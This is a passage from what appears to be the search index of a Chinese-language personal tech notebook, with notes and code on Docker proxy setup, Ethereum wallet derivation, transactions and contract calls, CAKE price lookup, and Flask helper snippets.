pull\\u4f7f\\u7528\\u4ee3\\u7406\",\"text\":\"<p>\\u5b98\\u65b9\\u6587\\u6863\\uff1a https://docs.docker.com/config/daemon/systemd/#httphttps-proxy</p> <pre><code>mkdir -p /etc/systemd/system/docker.service.d\\nvi /etc/systemd/system/docker.service.d/http-proxy.conf\\nsystemctl daemon-reload\\nsystemctl restart docker\\nsystemctl show --property=Environment docker\\n</code></pre> <pre><code>[Service]\\nEnvironment=\\\"HTTP_PROXY=http://proxy.example.com:80\\\"\\nEnvironment=\\\"HTTPS_PROXY=https://proxy.example.com:443\\\"\\nEnvironment=\\\"NO_PROXY=localhost,127.0.0.1,docker-registry.example.com,.corp\\\"\\n</code></pre>\"},{\"location\":\"Docker/#docker-daemon_1\",\"title\":\"\\u914d\\u7f6edocker daemon\\u9000\\u51fa\\u65f6\\u4e0d\\u81ea\\u52a8\\u5173\\u95ed\\u5bb9\\u5668\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://docs.docker.com/config/containers/live-restore/</p> <pre><code># vi /etc/docker/daemon.json\\n{\\n\\\"live-restore\\\": true\\n}\\n# systemctl reload docker\\n</code></pre>\"},{\"location\":\"ETH/\",\"title\":\"ETH\",\"text\":\"\"},{\"location\":\"ETH/#eth\",\"title\":\"ETH\",\"text\":\"<p>\\u5b66\\u4e60\\u4e00\\u4e0b\\u4ee5\\u592a\\u574a\\uff0c\\u76ee\\u524d\\u53ef\\u4ee5\\u5728\\u533a\\u5757\\u94fe\\u4e0a\\u523b\\u5b57\\u4e86\\uff0c\\u6bcf\\u4e2a\\u4ea4\\u6613\\u53ef\\u4ee5\\u5b58\\u50a830K\\u7684\\u5185\\u5bb9</p>\"},{\"location\":\"ETH/#ropsteneth\",\"title\":\"\\u83b7\\u53d6\\u6d4b\\u8bd5\\u7f51\\u7edcropsten\\u7684ETH\",\"text\":\"<p>\\u76ee\\u524d\\u7684faucet\\u5217\\u8868\\uff0c\\u4e0d\\u8fc7\\u6709\\u53ef\\u80fd\\u4ed6\\u4eec\\u5de5\\u4f5c\\u5728fork\\u4e0a\\uff0c\\u83b7\\u5f97\\u7684eth\\u4e0d\\u80fd\\u5728etherscan\\u4e0a\\u770b\\u5230</p> <p>\\u8fd1\\u671f\\u4ee5\\u592a\\u574aRopsten\\u6d4b\\u8bd5\\u7f51\\u7684Istanbul\\u5347\\u7ea7\\u7531\\u4e8e\\u5927\\u90e8\\u5206\\u7b97\\u529b\\u6ca1\\u6709\\u5347\\u7ea7\\u8282\\u70b9\\u8f6f\\u4ef6\\uff0c\\u5b9e\\u9645\\u4e0a\\u5df2\\u7ecf\\u53d1\\u751f\\u4e86\\u5206\\u53c9</p> <ul> <li>https://faucet.ropsten.be</li> <li>https://faucet.metamask.io</li> <li>http://faucet.bitfwd.xyz</li> </ul>\"},{\"location\":\"ETH/#metamask\",\"title\":\"\\u751f\\u6210\\u4e00\\u5806\\u4e0eMetaMask\\u517c\\u5bb9\\u7684\\u5730\\u5740\",\"text\":\"<p>MetaMask\\u7b49\\u94b1\\u5305\\u7684\\u5de5\\u4f5c\\u539f\\u7406\\u662f\\u4ece\\u4e00\\u4e32seed phrase\\u751f\\u6210\\u4e00\\u7cfb\\u5217\\u79c1\\u94a5</p> <p>\\u4f7f\\u7528lightwallet\\u8fd9\\u4e2anpm\\u5305\\u6765\\u751f\\u6210MetaMask\\u517c\\u5bb9\\u76841000\\u4e2a\\u5730\\u5740</p> <pre><code># \\u9700\\u8981\\u4f7f\\u7528\\u7248\\u672c2\\uff0c\\u66f4\\u65b0\\u7684\\u7248\\u672c\\u4fee\\u6539\\u4e86API\\u9700\\u8981\\u63d0\\u4f9bsalt\\n$ npm install eth-lightwallet@2.5.6\\n\\n# \\u4fee\\u6539node_modules\\\\_bitcore-lib@8.14.4@bitcore-lib\\\\index.js\\u6dfb\\u52a0\\u4e00\\u4e2areturn\\n# bitcore.versionGuard = function(version) {return;\\n\\nvar lightwallet = require(\\\"eth-lightwallet\\\");\\nvar secretSeed = \\u4ecemetamask\\u590d\\u5236\\nvar password = \\u968f\\u610f\\u8bbe\\u7f6e\\u4e00\\u4e2a\\u5bc6\\u7801\\uff0c\\u5728\\u5185\\u5b58\\u4e2d\\u5b58\\u50a8\\u7684\\u662f\\u4f7f\\u7528\\u8fd9\\u4e2a\\u5bc6\\u7801\\u52a0\\u5bc6\\u540e\\u7684\\u79c1\\u94a5\\nvar hdPathString = \\\"m/44'/60'/0'/0\\\";\\nvar ks; lightwallet.keystore.deriveKeyFromPassword(password, function (err, pwDerivedKey) {\\nks = new lightwallet.keystore(secretSeed, pwDerivedKey, hdPathString);\\n//console.log(ks);\\nks.generateNewAddress(pwDerivedKey, 1000, hdPathString);\\nfor(var i of ks.getAddresses(hdPathString)){\\nconsole.log(i, ks.exportPrivateKey(i, pwDerivedKey, hdPathString));\\n}\\n})\\n</code></pre>\"},{\"location\":\"ETH/#pythonweb3py\",\"title\":\"Python\\u53d1\\u8d77\\u4ea4\\u6613(Web3.py)\",\"text\":\"<p>pip3 install web3\\uff0c\\u9700\\u8981python3.7 \\uff08\\u5728Ubuntu16.04\\u4e0a\\u5b89\\u88c5Python 3.7\\uff09</p> <p>\\u5728infura.io\\u6ce8\\u518c\\uff0c\\u5f97\\u5230\\u4e00\\u4e2aproject id\\uff0c\\u8bbe\\u7f6e\\u4e3a\\u73af\\u5883\\u53d8\\u91cfWEB3_INFURA_PROJECT_ID</p> <pre><code>import os\\nos.environ[\\\"WEB3_INFURA_PROJECT_ID\\\"]=\\\"\\u4eceinfura.io\\u590d\\u5236\\\"\\nfrom web3.auto.infura.ropsten import w3\\nfrom base64 import b16encode\\ndef senddata(privatekey, data, to=None, nonce=None):\\n    addr = w3.eth.account.privateKeyToAccount(privatekey).address\\n    if not to:\\n        to = addr\\n    if not to.startswith(\\\"0x\\\"):\\n        to = \\\"0x\\\"+to\\n    if len(data)&gt;30*1024:\\n        raise Exception(\\\"data too big\\\")\\n    if nonce is None:\\n        nonce=w3.eth.getTransactionCount(addr)\\n    tx=dict(nonce=nonce, gasPrice=2000000000, gas=5940000, to=to, value=0, data=data)\\n    stx=w3.eth.account.sign_transaction(tx, privatekey)\\n    return b16encode(w3.eth.sendRawTransaction(stx.rawTransaction)).decode().lower()\\n</code></pre>\"},{\"location\":\"ETH/#api\",\"title\":\"\\u5730\\u5740\\u4ea4\\u6613\\u67e5\\u8be2API\",\"text\":\"<p>\\u6ce8\\u610fetherscan.io\\u4f7f\\u7528\\u4e86cloudflare\\uff0c\\u5fc5\\u987b\\u8bbe\\u7f6e\\u4e00\\u4e2aUser-Agent\\u624d\\u80fd\\u8c03\\u7528</p> <p>\\u76ee\\u524d\\u8fd8\\u4e0d\\u9700\\u8981apikey\\u5c31\\u80fd\\u76f4\\u63a5\\u8c03\\u7528</p> <pre><code>import requests\\ndef gettx(addr):\\n    return requests.get(\\\"https://api-ropsten.etherscan.io/api?module=account&amp;action=txlist&amp;address=\\\"+addr+\\\"&amp;startblock=0&amp;endblock=99999999&amp;sort=asc&amp;apikey=YourApiKeyToken\\\", headers={\\\"User-Agent\\\":\\\"ethquery\\\"}).json()[\\\"result\\\"]\\n</code></pre> <p>\\u8fd4\\u56de\\u7684\\u6570\\u7ec4\\u53ef\\u80fd\\u6bcf\\u4e2a\\u4ea4\\u6613\\u90fd\\u91cd\\u590d\\u4e86\\u4e24\\u6b21\\uff0c\\u9700\\u8981\\u53bb\\u91cd\\uff1a</p> <pre><code>seenhash = []\\nfor tx in gettx(addr):\\n    if len(tx[\\\"input\\\"])&gt;2 and tx[\\\"hash\\\"] not in seenhash:\\n        # \\u5904\\u7406tx[\\\"input\\\"]\\n        seenhash.append(tx[\\\"hash\\\"])\\n</code></pre>\"},{\"location\":\"ETH/#block-id\",\"title\":\"\\u65f6\\u95f4\\u6233\\u8f6cblock id\",\"text\":\"<p>\\u6709\\u4e9b\\u65f6\\u5019\\u6211\\u4eec\\u9700\\u8981\\u77e5\\u9053\\u7279\\u5b9a\\u65f6\\u95f4\\u70b9\\u7684\\u533a\\u5757\\u9ad8\\u5ea6\\uff0c\\u6765\\u67e5\\u8be2\\u5f53\\u65f6\\u7684\\u5408\\u7ea6\\u6570\\u636e</p> <p>\\u4e0d\\u4f9d\\u8d56etherscan\\u7684\\u65b9\\u6cd5\\u53ef\\u4ee5\\u6309\\u7167\\u5f53\\u524d\\u533a\\u5757\\u9ad8\\u5ea6\\u3001\\u5df2\\u7ecf\\u6d41\\u901d\\u7684\\u65f6\\u95f4\\u548c\\u51fa\\u5757\\u901f\\u5ea6\\u8fdb\\u884c\\u8ba1\\u7b97\\uff0c\\u7b97\\u51fa\\u6765\\u7684blockid\\u518d\\u8c03\\u7528web3 API\\u67e5\\u8be2timestamp\\u518d\\u6b21\\u8ba1\\u7b97\\uff0c\\u76f4\\u5230\\u8bef\\u5dee\\u5c0f\\u4e8e\\u9608\\u503c\\u5373\\u53ef</p> <p>etherscan\\u63d0\\u4f9b\\u4e86\\u8fd9\\u4e2aAPI: https://etherscan.io/apis#blocks</p> <pre><code>cache={}\\napikey=\\\"\\\"\\ndef timestamp2blockid(ts, retry=3):\\ncachekey = \\\"timestamp2blockid_\\\"+str(ts)\\nif cachekey in cache:\\n#print(\\\"cache used\\\")\\nreturn cache[cachekey]\\nx = sess.get(\\\"https://api.etherscan.io/api?module=block&amp;action=getblocknobytime&amp;timestamp=\\\"+str(ts)+\\\"&amp;closest=before&amp;apikey=\\\"+apikey)\\n#print(x.json())\\nif 'result' not in x.json():\\nif retry:\\nprint(\\\"[retry] timestamp2blockid\\\", ts)\\nreturn timestamp2blockid(ts, retry=retry-1)\\nelse:\\nprint(x.json())\\nres = x.json()[\\\"result\\\"]\\ncache[cachekey] = res\\nreturn res\\n</code></pre>\"},{\"location\":\"ETH/#_1\",\"title\":\"\\u6839\\u636e\\u51fd\\u6570\\u540d\\u8c03\\u7528\\u5408\\u7ea6\",\"text\":\"<p>\\u6807\\u8bb0\\u4e86view\\u7684\\u51fd\\u6570\\u53ef\\u4ee5\\u76f4\\u63a5\\u5728etherscan\\u8bfb\\u53d6\\u5408\\u7ea6\\u8c03\\u7528\\uff0c\\u4f46\\u6709\\u4e9b\\u51fd\\u6570\\u4e0d\\u4f1a\\u6d89\\u53ca\\u5199\\u64cd\\u4f5c\\uff0c\\u6211\\u4eec\\u4e5f\\u53ef\\u4ee5\\u81ea\\u5df1\\u8c03\\u7528\\u800c\\u4e0d\\u7528\\u53d1\\u8d77\\u94fe\\u4e0a\\u4ea4\\u6613\\uff08\\u5373\\u4f7f\\u4ea4\\u6613\\u4e5f\\u62ff\\u4e0d\\u5230\\u8fd4\\u56de\\u503c\\uff09</p> <p>\\u9996\\u5148\\u6211\\u4eec\\u9700\\u8981\\u4e86\\u89e3eth_call\\u7684data \\u524d4\\u4e2a\\u5b57\\u8282\\u5c31\\u662f\\u51fd\\u6570\\u7b7e\\u540d\\u7684\\u54c8\\u5e0c\\uff0c\\u54c8\\u5e0c\\u7b97\\u6cd5\\u662fkeccak_sha3\\u53d6\\u524d4\\u4e2a\\u5b57\\u8282</p> <p>\\u8fd9\\u4e1c\\u897f\\u53eb\\u505aABI\\uff0c \\u6587\\u6863\\uff1a https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html</p> <p>\\u4f8b\\u5982balanceOf\\u51fd\\u6570\\u53ea\\u63a5\\u53d7\\u4e00\\u4e2a\\u5730\\u5740\\u4f5c\\u4e3a\\u53c2\\u6570\\uff0c\\u5b83\\u7684\\u7b7e\\u540d\\u5c31\\u662f<code>balanceOf(address)</code>\\uff0c\\u54c8\\u5e0c\\u662f<code>70a08231</code>\\uff0c\\u4f60\\u53ef\\u4ee5\\u89c2\\u5bdfmetamask\\u540e\\u53f0\\u53d1\\u9001\\u7684\\u6d41\\u91cf\\u5c31\\u53ef\\u4ee5\\u786e\\u8ba4\\u8fd9\\u4e00\\u70b9</p> <p>\\u4f7f\\u7528Python\\u4e0d\\u4f9d\\u8d56web3\\u8ba1\\u7b97\\u8fd9\\u4e2a\\u54c8\\u5e0c\\uff1a \\u4f60\\u53ef\\u80fd\\u9700\\u8981<code>python3 -m pip install pycryptodome</code></p> <pre><code>from Crypto.Hash import keccak\\ndef function_hash(func_str):\\n    return keccak.new(digest_bits=256).update(func_str.encode(\\\"utf-8\\\")).hexdigest()[:8]\\n</code></pre> <p>\\u6709\\u4e86\\u51fd\\u6570\\u54c8\\u5e0c\\u540e \\u518d\\u62fc\\u63a5\\u51fd\\u6570\\u8c03\\u7528\\u53c2\\u6570\\u5c31\\u80fd\\u53d1\\u8d77eth_call\\u4e86\\uff0c\\u6bd4\\u5982\\u6211\\u4eec\\u9700\\u8981\\u628a\\u5730\\u5740\\u5728\\u5de6\\u8fb9\\u88650\\u8865\\u9f50\\u523064\\u5b57\\u8282\\uff08\\u4e5f\\u5c31\\u662f256bit\\uff09</p> <pre><code>import requests\\nsess = requests.session()\\nsess.headers.update({\\\"Content-Type\\\":\\\"application/json\\\"})\\nWEB3_ENDPOINT = \\\"\\\" #change to your infura.io project url\\n\\ndef addrtoarg(addr):\\n    return addr.lower().rjust(64, \\\"0\\\")\\n\\ncache={}\\ndef callfunction(addr, func_str, args_str, blockid, returnint=True, usecache=False):\\n    cachekey = \\\"_\\\".join((\\\"callfunction\\\", addr, func_str, args_str, str(blockid)))\\n    try:\\n        height = hex(int(blockid))\\n    except:\\n        height = blockid\\n    if usecache and cachekey in cache and blockid!=\\\"latest\\\":\\n        res = cache[cachekey]\\n    else:\\n        data = {\\n            \\\"id\\\":1, \\\"jsonrpc\\\":\\\"2.0\\\",\\n            \\\"method\\\":\\\"eth_call\\\",\\n            \\\"params\\\":[{\\\"data\\\": \\\"0x\\\"+function_hash(func_str)+args_str, \\\"to\\\": addr,}, height]\\n        }\\n        x = sess.post(WEB3_ENDPOINT, json=data)\\n        print(x.json())\\n        res = x.json()[\\\"result\\\"]\\n        if usecache:\\n            cache[cachekey] = res\\n    if not returnint:\\n        return res\\n    else:\\n        return int(res, 16)\\n</code></pre> <p>\\u5176\\u4e2dWEB3_ENDPOINT\\u53ef\\u4ee5\\u662finfura\\u81ea\\u5df1\\u6ce8\\u518c\\u4e00\\u4e2aAPIKEY\\u540e\\u5f97\\u5230\\u7684\\u5730\\u5740</p> <p>\\u8981\\u83b7\\u53d6\\u6700\\u65b0\\u7684\\u6570\\u636e\\u8fd8\\u9700\\u8981\\u77e5\\u9053\\u5f53\\u524d\\u7684\\u533a\\u5757\\u9ad8\\u5ea6\\uff1a</p> <pre><code>def eth_blockNumber():\\n    return int(sess.post(WEB3_ENDPOINT, data='{\\\"id\\\":1,\\\"jsonrpc\\\":\\\"2.0\\\",\\\"method\\\":\\\"eth_blockNumber\\\",\\\"params\\\":[]}').json()[\\\"result\\\"], 16)\\n</code></pre> <p>\\u8c03\\u7528\\u5f88\\u7b80\\u5355\\uff1a<code>mybalance = callfunction(contract_address, \\\"balanceOfUnderlying(address)\\\", addrtoarg(my_address), eth_blockNumber())</code></p>\"},{\"location\":\"ETH/#_2\",\"title\":\"\\u66f4\\u590d\\u6742\\u7684\\u53c2\\u6570\\u7c7b\\u578b\",\"text\":\"<p>\\u5bf9\\u4e8estring\\u8fd9\\u79cd\\u53ef\\u53d8\\u957f\\u5ea6\\u7c7b\\u578b\\uff0c\\u8fd8\\u662f\\u4f7f\\u7528python\\u5305<code>eth-abi</code>\\u5427\\uff0c\\u4f8b\\u5982\\uff1a</p> <p>NFT-Hero\\u91cc\\u968f\\u673a\\u6570\\u7528\\u7684blockhashMgr\\u5230\\u5e95\\u662f\\u4ec0\\u4e48\\u5408\\u7ea6\\u5462\\uff1a</p> <p>https://github.com/nfthero/SuperHero/blob/c87346f36efb09667ad8f0eeaf8df04a710bbecd/Package.sol#L87</p> <p>\\u5c31\\u60f3\\u8981\\u67e5\\u8be2\\u4e00\\u4e0bmembers\\u8fd9\\u4e2a\\u5b57\\u5178\\uff0c\\u5176\\u7c7b\\u578b\\u662f<code>mapping(string =&gt; address) public members</code>\\uff0c\\u4e5f\\u5c31\\u610f\\u5473\\u7740\\u53ef\\u4ee5\\u8c03\\u7528<code>members(string)</code>\\u8fd9\\u4e2a\\u51fd\\u6570\\u8fdb\\u884c\\u67e5\\u8be2\\uff1a</p> <pre><code>&gt;&gt;&gt; callfunction(\\\"https://http-mainnet-node.huobichain.com/\\\", \\\"0x42C1aC2AeAEc52E1cc9dC8057b089FA91fa84FC7\\\", \\\"members(string)\\\", base64.b16encode(eth_abi.encode_abi([\\\"string\\\"], [\\\"blockhashMgr\\\"])).decode().lower(), \\\"latest\\\", False)\\n'0x0000000000000000000000003e259bfe720093abb26a2c3fe57670259b2ebea2'\\n</code></pre>\"},{\"location\":\"ETH/#cake\",\"title\":\"\\u5b9e\\u4f8b\\uff1a\\u83b7\\u53d6Cake\\u6301\\u4ed3\\u4ef7\\u503c\",\"text\":\"<p>Warning</p> <p>\\u672c\\u6587\\u4e0d\\u4f5c\\u4e3a\\u6295\\u8d44\\u5efa\\u8bae\\uff0c\\u672c\\u9879\\u76ee\\u5408\\u7ea6\\u4ee3\\u78012020/11/05\\u4e5f\\u51fa\\u8fc7\\u6f0f\\u6d1e\\u5bfc\\u81f4\\u6316\\u77ff\\u5956\\u52b1\\u4ee3\\u5e01\\u8d85\\u53d1</p> <p>\\u5e01\\u5b89\\u667a\\u80fd\\u94fe\\u4e0a\\u6709\\u4e2a\\u6284\\u4e86Uniswap\\u7684pancakeswap, \\u7f51\\u9875\\u4e0a\\u5f53\\u524d(2021/01/06)\\u663e\\u793a\\u8d28\\u62bcCAKE\\u7684\\u5e74\\u5316228%\\uff0c\\u90a3\\u5f53\\u7136\\u662f\\u5c1d\\u8bd5\\u4e00\\u4e0b\\u54af\\uff0c\\u4e8e\\u662f\\u81ea\\u7136\\u6709\\u4e86\\u9700\\u6c42\\uff1a\\u8ba1\\u7b97\\u81ea\\u5df1\\u6301\\u4ed3CAKE\\u7684\\u5b9e\\u65f6\\u4ef7\\u503c\\uff0c\\u6301\\u4ed3\\u5305\\u542b\\u8d28\\u62bc\\u5956\\u52b1\\u7684\\u90e8\\u5206</p> <p>\\u90a3\\u4e48\\u5b9e\\u73b0\\u8fd9\\u4e2a\\u9700\\u6c42\\u5c31\\u9700\\u8981\\u89e3\\u51b3\\u4e24\\u4e2a\\u95ee\\u9898\\uff1a\\u5982\\u4f55\\u83b7\\u53d6\\u81ea\\u5df1\\u7684CAKE\\u5956\\u52b1\\u6570\\u91cf\\uff0c\\u5982\\u4f55\\u83b7\\u53d6CAKE\\u7684\\u4ef7\\u683c\\u4fe1\\u606f</p> <p>\\u7b2c\\u4e00\\u4e2a\\u95ee\\u9898\\u597d\\u89e3\\u51b3\\uff0c\\u6309\\u7167\\u4e0a\\u9762\\u8c03\\u7528\\u5408\\u7ea6\\u5373\\u53ef\\uff0c\\u5408\\u7ea6\\u8c03\\u7528\\u9700\\u8981\\u4e24\\u4e2a\\u53c2\\u6570\\uff0c\\u5373\\u4f7f\\u4e0d\\u77e5\\u9053\\u51fd\\u6570\\u9009\\u62e9\\u5668\\u548c\\u51fd\\u6570\\u53c2\\u6570\\u600e\\u4e48\\u5199\\uff0c\\u4e5f\\u53ef\\u4ee5\\u8ba9etherscan\\u6765\\u5e2e\\u6211\\u4eec\\u8c03\\u7528\\u5408\\u7ea6 \\u770b\\u6d41\\u91cf\\u5373\\u53ef</p> <pre><code>WEB3_ENDPOINT='https://bsc-dataseed.binance.org/'\\ncallfunction(contract_address, \\\"pendingCake(uint256,address)\\\", \\\"0\\\"*64+addrtoarg(my_address), \\\"latest\\\", usecache=False)/10**18\\n</code></pre> <p>\\u7b2c\\u4e8c\\u4e2a\\u95ee\\u9898\\uff1a\\u83b7\\u53d6CAKE\\u7684\\u4ef7\\u503c \\u53ef\\u4ee5\\u5728pancakeswap.info\\u7684token\\u9875\\u9762\\u770b\\u5230 \\u5f53\\u524dCAKE\\u7684\\u4ef7\\u503c\\u663e\\u793a\\u4e3a$0.64</p> <p>\\u901a\\u8fc7\\u4ed4\\u7ec6\\u7ffb\\u6d41\\u91cf+F12\\u770b\\u524d\\u7aefjs+\\u5b66GraphQL\\u7684\\u5199\\u6cd5\\uff0c\\u53d1\\u73b0\\u8fd9\\u4e2a\\u56fe\\u67e5\\u8be2\\u53ef\\u4ee5\\u4e00\\u6b21\\u8fd4\\u56de\\u4e24\\u4e2a\\u5185\\u5bb9\\uff1a</p> <p>https://api.bscgraph.org/subgraphs/name/wowswap/graphql</p> <pre><code>{\\n  tokens(where: {id: \\\"0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82\\\"}) {\\n    id\\n    name\\n    symbol\\n    derivedETH\\n    tradeVolume\\n    tradeVolumeUSD\\n    untrackedVolumeUSD\\n    totalLiquidity\\n    txCount\\n    __typename\\n  }\\n  bundles(where: {id: 1}) {\\n    id\\n    ethPrice\\n    __typename\\n  }\\n}\\n</code></pre> <p>\\u67e5\\u8be2\\u5230\\uff1a</p> <pre><code>{\\n  \\\"data\\\": {\\n    \\\"bundles\\\": [\\n      {\\n        \\\"__typename\\\": \\\"Bundle\\\",\\n        \\\"ethPrice\\\": \\\"40.4164616943543110107673755202366\\\",\\n        \\\"id\\\": \\\"1\\\"\\n      }\\n    ],\\n    \\\"tokens\\\": [\\n      {\\n        \\\"__typename\\\": \\\"Token\\\",\\n        \\\"derivedETH\\\": \\\"0.01577253120396104706816941010842497\\\",\\n        \\\"id\\\": \\\"0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82\\\",\\n        \\\"name\\\": \\\"PancakeSwap Token\\\",\\n        \\\"symbol\\\": \\\"Cake\\\",\\n        \\\"totalLiquidity\\\": \\\"17457173.064252540875767782\\\",\\n        \\\"tradeVolume\\\": \\\"529331425.317628506590140745\\\",\\n        \\\"tradeVolumeUSD\\\": \\\"270335080.4687124727090581348114777\\\",\\n        \\\"txCount\\\": \\\"659265\\\",\\n        \\\"untrackedVolumeUSD\\\": \\\"331587403.3835248774831009549837749\\\"\\n      }\\n    ]\\n  }\\n}\\n</code></pre> <p>\\u5c06\\u5176\\u4e2d\\u7684<code>ethPrice</code>(\\u5b9e\\u9645\\u4e0a\\u662fBNB\\u7684\\u4ef7\\u683c)\\u548c<code>derivedETH</code>\\u4e58\\u8d77\\u6765\\u5c31\\u662f\\u6211\\u4eec\\u9700\\u8981\\u7684\\u4ef7\\u683c\\u4e86\\uff0c\\u7b97\\u51fa\\u6765\\u662f<code>$0.6375</code></p> <p>\\u901a\\u7528\\u4e00\\u70b9\\u8fd8\\u9700\\u8981\\u8c03\\u7528\\u5408\\u7ea6<code>userInfo(uint256,address)</code>\\u67e5\\u8be2\\u81ea\\u5df1\\u7684\\u6301\\u4ed3\\uff0c\\u6700\\u540e\\u5408\\u5728\\u4e00\\u8d77\\uff1a</p> <pre><code>(\\u81ea\\u5df1\\u7684\\u6301\\u4ed3+pendingpendingCake)*derivedETH*ethPrice\\n</code></pre>\"},{\"location\":\"ETH/#erigon\",\"title\":\"erigon \\u5bfc\\u51fa\\u6240\\u6709\\u5408\\u7ea6\\u5730\\u5740\",\"text\":\"<p>\\u8fd9\\u6837\\u6765\\u5bfc\\u51facodehash\\u8868\\uff1a</p> <pre><code>/tank/erigon/build/bin/mdbx_dump -s PlainCodeHash /tank/eth/chaindata/ | gzip &gt; plaincodehash.txt.gz\\n</code></pre> <p>\\u7136\\u540e\\u8fd9\\u6837\\u5904\\u7406\\u5f97\\u5230\\u6839\\u636ecodehash\\u53bb\\u91cd\\u540e\\u7684\\u5730\\u5740\\u5217\\u8868\\uff1a</p> <pre><code>import gzip\\noldaddr=None\\ncodehash=None\\nseen=set()\\nfor line in gzip.open(\\\"plaincodehash.txt.gz\\\", \\\"rt\\\"):\\n    if len(line)==58:\\n        addr = line[1:41]\\n        if addr!=oldaddr:\\n            if oldaddr and codehash not in seen:\\n                seen.add(codehash)\\n                print(oldaddr)\\n            oldaddr=addr\\n    elif len(line)==66:\\n        codehash = line[1:65]\\nif codehash not in seen:\\n    print(oldaddr)\\n</code></pre>\"},{\"location\":\"Favorites/\",\"title\":\"Favorites \\u6536\\u85cf\",\"text\":\"<p>\\u6536\\u85cf\\u4e00\\u4e9b\\u6709\\u7528\\u7684\\u8d44\\u6599\\u54af~</p> <p>Intel i386 \\u624b\\u518c</p> <p>i386 \\u624b\\u518c\\u52d8\\u8bef</p> <p>\\u5b57\\u7b26\\u7b7e\\u540d\\u751f\\u6210</p> <p>\\u4f8b\\u5982lean\\u5b57\\u4f53\\uff1a</p> <pre><code>      _/_/      _/_/      _/_/ \\n   _/    _/  _/    _/  _/    _/\\n  _/_/_/_/  _/_/_/_/  _/_/_/_/ \\n _/    _/  _/    _/  _/    _/  \\n_/    _/  _/    _/  _/    _/   \\n</code></pre> <p>\\u89e3\\u91caShell\\u547d\\u4ee4\\u6bcf\\u4e2a\\u53c2\\u6570</p> <p>\\u5b89\\u5168\\u4f1a\\u8bae\\u7684\\u6392\\u540d</p> <p>\\u5efa\\u8bae\\u8bfb\\u7684\\u8bba\\u6587</p> <p>Git Emoji</p> <p>Math \\u8bc6\\u522b\\u624b\\u5199\\u516c\\u5f0f \\u753b\\u51fd\\u6570\\u56fe\\u50cf</p> <p>\\u5b89\\u5168\\u6587\\u6458 \\u6bcf\\u5929\\u770b\\u770b</p> <p>\\u7f51\\u7ad9\\u914d\\u8272</p>\"},{\"location\":\"Flask/\",\"title\":\"Flask \\u5907\\u5fd8\",\"text\":\"<p>\\u5e38\\u7528\\u7684\\u4e00\\u4e9b\\u64cd\\u4f5c\\uff0c\\u81ea\\u5df1\\u603b\\u7ed3\\u7684\\uff0c\\u4fbf\\u4e8e\\u67e5\\u9605</p>\"},{\"location\":\"Flask/#app_root\",\"title\":\"\\u5e94\\u7528\\u6839\\u76ee\\u5f55APP_ROOT\",\"text\":\"<pre><code>APP_ROOT = os.path.dirname(os.path.abspath(__file__))\\n</code></pre>\"},{\"location\":\"Flask/#approuteintpost\",\"title\":\"app.route\\u91cc\\u7684int\\u548cPOST\",\"text\":\"<pre><code>@app.route(\\\"/list/&lt;int:boardid&gt;\\\")\\n\\n@app.route(\\\"/receive_post\\\", methods=[\\\"POST\\\"])\\n\\npost_param = int(request.form.get(\\\"post_param\\\",\\\"0\\\"))\\n# get\\u53c2\\u6570\\u7528request.args\\n</code></pre>\"},{\"location\":\"Flask/#render_template\",\"title\":\"render_template\\u5f15\\u5165\\u6240\\u6709\\u5168\\u5c40\\u53d8\\u91cf+\\u5c40\\u90e8\\u53d8\\u91cf\",\"text\":\"<pre><code>str = str\\nlen = len\\nint = int\\n\\n@app.route(\\\"/\\\")\\ndef index():\\n# ... some logic code\\ntargs = globals()\\ntargs.update(locals())\\nreturn render_template(\\\"template.html\\\", **targs)\\n</code></pre>\"},{\"location\":\"Flask/#_1\",\"title\":\"\\u6dfb\\u52a0\\u591a\\u4e2a\\u9759\\u6001\\u76ee\\u5f55\",\"text\":\"<pre><code>from flask import Flask, render_template, Blueprint, request, redirect\\napp = Flask(__name__)\\n\\nfor path in ['images', 'pic', 'css']:\\n    blueprint = Blueprint(path, __name__, static_url_path='/'+path, static_folder=path)\\n    app.register_blueprint(blueprint)\\n</code></pre>\"},{\"location\":\"Flask/#gisphone\",\"title\":\"\\u5224\\u65ad\\u662f\\u5426\\u624b\\u673a\\u8bbf\\u95ee g.isphone\",\"text\":\"<pre><code>@app.before_request\\ndef before_request():\\nua = request.user_agent.string.lower()\\nfor mobileua in \\\"android|fennec|iemobile|iphone|opera mini|opera mobi|mobile\\\".split(\\\"|\\\"):\\nif mobileua in ua:\\ng.isphone = True\\nbreak\\nelse:\\ng.isphone = False\\n</code></pre>\"},{\"location\":\"Flask/#get\",\"title\":\"\\u9650\\u5236\\u7279\\u5b9aget\\u6574\\u6570\\u53c2\\u6570\\u7684\\u53d6\\u503c\",\"text\":\"<pre><code>def limit_param(param_name, default_value, minvalue, maxvalue):\\n    \\\"\\\"\\\"\\nexample: p = limit_param(\\\"p\\\", 1, 1, 5)\\n\\\"\\\"\\\"\\n    if maxvalue&lt;minvalue:\\n        maxvalue = minvalue\\n    try:\\n        data = int(request.args.get(param_name, default_value))\\n    except:\\n        data = default_value\\n    if data&lt;minvalue:\\n        data = minvalue\\n    elif data &gt; maxvalue:\\n        data = maxvalue\\n    return data\\n</code></pre>\"},{\"location\":\"Flask/#decorator\",\"title\":\"\\u8981\\u6c42\\u767b\\u5f55\\u7684decorator\",\"text\":\"<p>\\u7528\\u6cd5: <code>@require_login()</code> \\u6ce8\\u610f\\u4f7f\\u7528\\u65f6\\u6dfb\\u52a0\\u5230<code>@app.route</code>\\u884c\\u7684\\u540e\\u9762</p> <pre><code>import functools\\nfrom flask import session, abort, redirect\\ndef require_login(code=200, text=\\\"login first\\\", jumptologin=False):\\n    def real_decorator(func):\\n        @functools.wraps(func)\\n        def wrapper(*args,**kwargs):\\n            if \\\"username\\\" not in session:\\n                if jumptologin:\\n                    return redirect(\\\"/signin?error=needlogin&amp;next=\\\"+signit(request.path))\\n                elif code==200:\\n                    return text\\n                else:\\n                    abort(code)\\n            else:\\n                return func(*args, **kwargs)\\n        return wrapper\\n    return real_decorator\\n</code></pre>\"},{\"location\":\"Flask/#import\",\"title\":\"import\\u5f15\\u5165\\u5217\\u8868\",\"text\":\"<pre><code>from flask import Flask, render_template, Blueprint, request, redirect, Markup, g, session, abort, Response, make_response, send_file, jsonify\\nfrom werkzeug.utils import secure_filename\\nimport time\\nimport datetime\\nimport random\\nimport pickle\\nimport requests\\nimport os\\nimport sys\\nimport traceback\\nimport mimetypes\\nimport string\\nimport re\\nimport hashlib\\nimport 